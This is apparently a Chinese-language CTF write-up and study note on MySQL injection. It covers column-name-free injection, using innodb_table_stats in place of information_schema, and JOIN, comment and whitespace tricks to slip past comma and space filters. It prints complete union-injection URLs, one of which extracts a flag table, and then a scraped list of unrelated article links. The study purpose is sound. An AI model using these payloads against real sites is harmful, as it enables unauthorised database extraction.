前言

出于上海大学生网络安全大赛的一道easysql,促使我积累这篇文章。因为放了大部分时间在DecadeBabyt5上,easysql一点没看,事后看了WP,发现看不懂怎么回事,于是了解了一番。

无列名注入

前提:easysql中过滤了or,这样information_schema就不能用了,需要通过innodb存储引擎利用获取表名,不知道列名,所以需要通过无列名注入获取字段数据。

其实就是边看文章边自己实践记录,自己写的更详细点,便于理解的更透彻。

直接select 1,2,3,4 这样不就是一个表了吗,可以看作是虚拟表。

我们可以通过union select 将这个虚拟表填充你想要读取的表的数据(记得用union时,保证左右两边的字段数相同,即列数)

再通过设置这样的虚拟表别名,就可以实现无列名注入了

可以看到我们需要的表的数据导入了虚拟表,并且以我们设定的1,2,3,4作为列名

第二列开始才是我们想要的表中数据,可用limit来取limit 2,1 或者limit 1 offset 2(这里不选用第二行数据是因为比较下limit 2,1和可以bypass逗号的limit 1 offset 2的区别,容易对应参数混淆)

limt 2,1 :从第三行开始,取一行数据

limit 1 offset2 :取一行数据,从第二行开始

这样就完成了无列名注入

innodb存储引擎

因为本地是5.5.53的mysql,也不想再docker去pull部署了,直接照搬文章里的内容把。(谢罪)

红帽杯wp中,需要通过innodb来获取表名,原因是过滤了or,无法用上information_schema

Mysql>5.6.x

在Mysql中,存储数据的默认引擎分为两类。一类是在5.5.x之前的MyISAM数据存储引擎,另一类是5.5.x版本后的innodb引擎。并且mysql开发团队在5.5.x版本后将innodb作为数据库的默认引擎。

而在mysql 5.6.x版本起,innodb增添了两个新表,一个是innodb_index_stats,另一个是innodb_table_stats。查阅官方文档,其对这两个新表的解释如下图:

从官方文档我们可以发现两个有用的信息:

  1. 从5.6.x版本开始,innodb_index_stats和innodb_table_stats数据表时自动设置的。
  2. 两个表都会存储数据库和对应的数据表。

唯一遗憾的是没有字段名

本地试验:

Mysql 5.6.40

innodb_index_stats

select * from mysql.innodb_index_stats limit 0,3;

 

innodb_table_stats

select * from mysql.innodb_table_stats limit 0,1

 

有效载荷:select table_name from mysql.innodb_table_stats where database_name = schema()

前提mysql>5.6x

用来查表的payload:

  1. select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()

bypass

对于bypass waf有很多骚姿势,把一些最基本的列出来。

1.首先我们空格被过滤,这个绕过方法有很多

  • 使用注释绕过,/**/,如果因为’/‘被过滤,导致此方法无法使用
  • 使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用()包围,并且两端可以没有多余的空格
  • 使用符号替代空格 %20 %09 %0d %0b %0c %0d %a0 %0a,这里我选择了%0a进行绕过

2.对于,的过滤,之前没有过了解,查了很多资料和文章,发现了一个姿势

Join

Join绕过逗号,配合联合注入payload(发现图片可能不能直接复制粘贴代码,可能造成复现不方便)

  1. mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d;
  2. +---+---+---+---+
  3. | 1 | 2 | 3 | 4 |
  4. +---+---+---+---+
  5. | 1 | 2 | 3 | 4 |
  6. +---+---+---+---+
  7. 1 row in set (0.00 sec)  
  1. (SELECT )a JOIN (SELECT )b JOIN (SELECT )c JOIN (SELECT )d;

这样就类似如下的形式

  1. mysql> select*from(select 1,2,3,4)a;
  2. +---+---+---+---+
  3. | 1 | 2 | 3 | 4 |
  4. +---+---+---+---+
  5. | 1 | 2 | 3 | 4 |
  6. +---+---+---+---+
  7. 1 row in set (0.00 sec)

可以构造一些查询语句

  1. mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT version())d;
  2. +---+---+---+-----------+
  3. | 1 | 2 | 3 | version() |
  4. +---+---+---+-----------+
  5. | 1 | 2 | 3 | 5.5.53 |
  6. +---+---+---+-----------+
  7. 1 row in set (0.00 sec)  

bypass逗号,实现联合注入

  1. select*from people where id=- union select*from((select )b join (select )a join (select )c join (select )d);

结合分析

因为没碰easysql,所以只能靠wp来结合分析

第一步

  1. 1. 尝试寻找回显点,使用join bypass逗号过滤。
  2.  
  3. /article.php?id=0' union%0bselect * from (select 1)a join (select 2)b join (select 3)c join (select 4)d%23   

通过union 查询注入寻找注入点,逗号被过滤了,通过join来bypass 逗号,爆出显示位

第二步

  1. 2. 尝试爆表,但是or被过滤,我们选取另一个系统表mysql.innodb_table_stats
  2.  
  3. /article.php?id=0' union%0bselect * from (select 1)a join (select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b join (select 3)c join (select 4)d%23  

过滤了or,通过innodb来爆出表名, 第二步没有什么好分析的,就是记得(select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b,里面只能一个字段一个数据,不能多个字段。这里也可以不用子查询,用limit来限制=>(select table_name from  mysql.innodb_table_stats where database_name like database())b,但是不如group_concat来的快速啊,直接列出所有的表名,不需要limit一步一步的读表名。

第三步

  1. /article.php?id=0' union%0bselect * from (select 1)z join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x join (select 3)v join (select 3)n%23  

这里就分析下最重要的一部分

  1. join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x

这里是通过无列名注入结合join bypass逗号。

唯一的区别就是将(select 1,2,3 union select*from fl111aa44a99g)i 替换为join的方式(select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i

睡觉睡觉

1.40了

 

  

学习链接:

https://blog.csdn.net/qq_40500631/article/details/89631904

http://p0desta.com/2018/03/29/SQL%E6%B3%A8%E5%85%A5%E5%A4%87%E5%BF%98%E5%BD%95/#1-10-%E6%97%A0%E5%88%97%E5%90%8D%E6%B3%A8%E5%85%A5

https://www.o2oxy.cn/1929.html

SQLi —— 逗号,空格,字段名过滤突破的更多相关文章

  1. FireDAC 汉字字段名称过滤

    [FireDAC][Stan][Eval]-107. Invalid character found [ 拼音码 like '%A%' ] 英文字段名称过滤正常 汉字字段名过滤报错. 莫非不支持汉字字 ...

  2. DB中字段为null,为空,为空字符串,为空格要怎么过滤取出有效值

      比如要求取出微信绑定的,没有解绑的 未绑定,指定字段为null 绑定的,指定字段为某个字符串 解绑的,有的客户用的是更新指定字段为1,有的客户更新指定字段为‘1’ 脏数据的存在,比如该字段为空字符 ...

  3. sqlserver 动态表名 动态字段名 执行 动态sql

    动态语句基本语法: 1 :普通SQL语句可以用exec执行 Select * from tableName exec('select * from tableName') exec sp_execut ...

  4. 让Oracle 大小写敏感 表名 字段名 对像名

    一.解决方案 1.在表名.字段名.对象名上加上双引号,即可实现让oracle大小写区分. 2.但是这又引起了另一个问题:在数据库操作中,sql语句中相应的表名.字段名.对象名上一定要加双引号. 解决办 ...

  5. List多个字段标识过滤 IIS发布.net core mvc web站点 ASP.NET Core 实战:构建带有版本控制的 API 接口 ASP.NET Core 实战:使用 ASP.NET Core Web API 和 Vue.js 搭建前后端分离项目 Using AutoFac

    List多个字段标识过滤 class Program{  public static void Main(string[] args) { List<T> list = new List& ...

  6. 查询MySQL数据表的字段名和表结构

    查询表的字段: -- 查询表的字段名 SELECT COLUMN_NAME -- GROUP_CONCAT('a.', COLUMN_NAME SEPARATOR ',') AS COLUMN_NAM ...

  7. Mysql错误:#1054 - Unknown column '字段名' in 'field list'

    # 1054 - Unknown column '字段名' in 'field list' 第一个就是你的表中没有这个字段 另一个就是你的这个字段前后可能有空格!!!,去掉空格即可!

  8. Unknown column 't_user.id' in 'where clause'(通过字段名删除不了数据)

    创建员工信息表t_user CREATE TABLE t_user( id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(20) , passwor ...

  9. oracle中查询表的信息,包括表名,字段名,字段类型,主键,外键唯一性约束信息

    来源于网上整理 总结了一下oracle中查询表的信息,包括表名,字段名,字段类型,主键,外键唯一性约束信息,索引信息查询SQL如下,希望对大家有所帮助: 1.查询出所有的用户表select * fro ...

随机推荐

  1. SFDC 401认证准备及考试

    401认证准备及考试 刚过了401的认证,一些个人的体会,希望能帮助到准备过401的朋友. 1. 考试只是手段,不是目的.这个链接的视频请认真看完,http://www.salesforcetrain ...

  2. HOOK相关原理与例子

    消息HOOK 原理: 1. 用户输入消息,消息被放到系统消息队列. 2. 程序发生了某些需要获取输入的事件,就从系统消息队列拿出消息放到程序消息队列中. 3. 应用程序检测到有新的消息进入到程序消息队 ...

  3. YII2自动初始化脚本

    #!/usr/bin/expect spawn ./init expect "Which environment do you want the application to be init ...

  4. [poj1061]青蛙的约会<扩展欧几里得>

    题目链接:http://poj.org/problem?id=1061 其实欧几里得我一直都知道,只是扩展欧几里得有点蒙,所以写了一道扩展欧几里得裸题. 欧几里得算法就是辗转相除法,求两个数的最大公约 ...

  5. 【PHP源码】PHP 函数调用

    title: [PHP 源码]PHP 函数调用 date: 2020-03-30 23:25:00 updated: 2020-04-04 19:57:00 tags: PHP 源码 想法 我以前对于 ...

  6. 使用 Visual Studio 开发、测试和部署 Azure Functions(二)测试,部署

    1,引言 上一篇介绍了使用使用 Visual Studio 开发 "Azure Functions" 函数,此篇介绍 “Azure Functions” 的测试以及直接从 Vist ...

  7. Java并发基础03. 传统线程互斥技术—synchronized

    在多个线程同时操作相同资源的时候,就会遇到并发的问题,如银行转账啊.售票系统啊等.为了避免这些问题的出现,我们可以使用synchronized关键字来解决,下面针对synchronized常见的用法做 ...

  8. 力软敏捷框架 jfGrid 使用例子之一

    百度了下关于力软敏捷框架 jfGrid的教程,基本没有,出来的全是jqGrid.好吧看来只能自己上手了 今天来讲讲列设置属性里数据格式化事件(formatter)的使用 常规的使用方式如上图所示. 先 ...

  9. 7行代码搞定WEB服务

    作为一个 Java 程序猿,写代码久了,各种技术也就都尝试了一个遍. 先从 SSH1(Spring.Struts1.Hibernate)摸爬滚打转变到 SSH2(Spring.Struts2.Hibe ...

  10. 1064 Complete Binary Search Tree (30分)(已知中序输出层序遍历)

    A Binary Search Tree (BST) is recursively defined as a binary tree which has the following propertie ...